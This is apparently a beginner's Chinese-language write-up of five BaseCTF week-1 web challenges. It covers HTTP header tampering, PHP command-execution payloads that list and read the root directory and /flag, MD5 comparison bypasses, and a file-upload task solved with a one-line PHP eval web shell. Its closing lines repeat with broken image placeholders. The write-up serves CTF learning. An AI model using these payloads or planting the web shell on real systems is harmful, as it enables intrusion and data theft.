BaseCTF-Web-week1—清风
最近正在举行BaseCTF作为新手的我刚好去参加,发现自己太多漏洞,知识点掌握不牢,现在写web-week1的五个题目WP。
[Week1] HTTP 是什么呀
进入靶场,内容其实很简单,都是最简单的参数传递,还没有进行各种绕过
1-这里解题可以使用burpSuite抓包进行参数的传递。
2-这里也可以使用浏览器的插件(hackbar)进行参数的传递。
①使用burpSuite解此题
题目咱可以不会写,但是我们的思路一定不能有问题,了解此题的一个大体框架。你说呢?当然我确实是有点小菜,仅个人人观点。
此题目是完成参数的传递即可获得flag,此题目有六个参数,这里有GET参数、POST参数、Cookie参数、User-Agent参数、Referer、本地IP,一共六个参数。
这里需要注意:
GET参数传参数前面需要一个问号(?),GET传参时会进行url解码一次,所以需要对%00进行url编码一次为%2500,这样保证url解码为后为%00,url编码是指%后加ASCII码数值。
POST参数传递就正常写最后就行,
Cookie传参前面需要自己加上Cookie:响应头,
User-Agent传参需要删除原有的参数,
Referer传参数前面需要自己加上Referer:响应头,
本地IP需要自己加上Client-Ip:响应头
抓包原本响应头
参数传递后的响应头(这里特意用红色方框圈出来)
然后放包,在返回包中查看flag
看见flag被Base64加密,使用软件Base64解码取得flag,成功拿下flag
②使用HackBar插件解题(这里我使用火狐浏览器)
此题目是完成参数的传递即可获得flag,此题目有六个参数,这里有GET参数、POST参数、Cookie参数、User-Agent参数、Referer、本地IP,一共六个参数。
这里需要注意:
GET参数传参数前面需要一个问号(?),GET传参时会进行url解码一次,所以需要对%00进行url编码一次为%2500,这样保证url解码为后为%00,url编码是指%后加ASCII码数值。
POST参数传递就正常写最后就行,
Cookie传参前面需要自己加上Cookie:响应头,
User-Agent传参需要删除原有的参数,
Referer传参数前面需要自己加上Referer:响应头,
本地IP需要自己加上Client-Ip:响应头
这里我写主要传参过程,F12打开插件进行参数填写
这里就取得flag了,第一题结束
[Week1] 喵喵喵´•ﻌ•`
此题相对第一题简单许多,基本的GET传参数和命令执行,进入靶场
这里使用命令执行,读取根目录文件,请注意是根目录(ls /)这样是读取根目录
payload:?DT=system('ls /');
发现flag文件,进行文件读取取得flag
payload:?DT=system('cat /flag');
[Week1] md5绕过欸
此题目是GET传参和POST传参,md5弱类型绕过和强类型绕过(md5绕过在我前面的文章中有详细说明)MD5绕过文章
进入靶场,看源码
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}
}
else {
echo '没看到参数呐';
}
?> 没看到参数呐
分析
这里的name和password不相等,但弱类型相等。name2和password2中!==
进行比较时,不仅比较值,还比较值的类型,然后需满足强类型相等,获取flag。
这里弱类型绕过我使用科学计数法绕过,强类型绕过我使用数组绕过。当然此题目还可以使用碰撞绕过,即MD5加密后数值相等,但是未MD5加密前不相等,这里我就不进行演示,如有问题请私信或评论联系
payload:?name=QNKCDZO&name2[]=a
payload:password=240610708&password2[]=b
成功取得flag
[Week1] A Dark Room
此题目就比较简单了,看见这种小游戏的题目直接ctrl+u查看源码,搜索flag即可.进入靶场,是什么小游戏。
直接查看源码和获取flag
[Week1] upload
这个题目是文件上传的题目,然后蚁剑连接
这里使用burpsuite需要抓包写一句话木马
一句话木马:
<?php
@eval($_POST["cmd"]);
?>
上传之后给了源代码,并说明上传成功,同时看见我们用蚁剑连接的地址
使用蚁剑连接获取flag
BaseCTF-web-week1前五个题目结束了。
我清风 与诸君共勉,共创辉煌篇章。
后给了源代码,并说明上传成功,同时看见我们用蚁剑连接的地址
[外链图片转存中…(img-LtKhdbEn-1723800225807)]
使用蚁剑连接获取flag
[外链图片转存中…(img-uiH8PBXq-1723800225807)]
BaseCTF-web-week1前五个题目结束了。
我清风 与诸君共勉,共创辉煌篇章。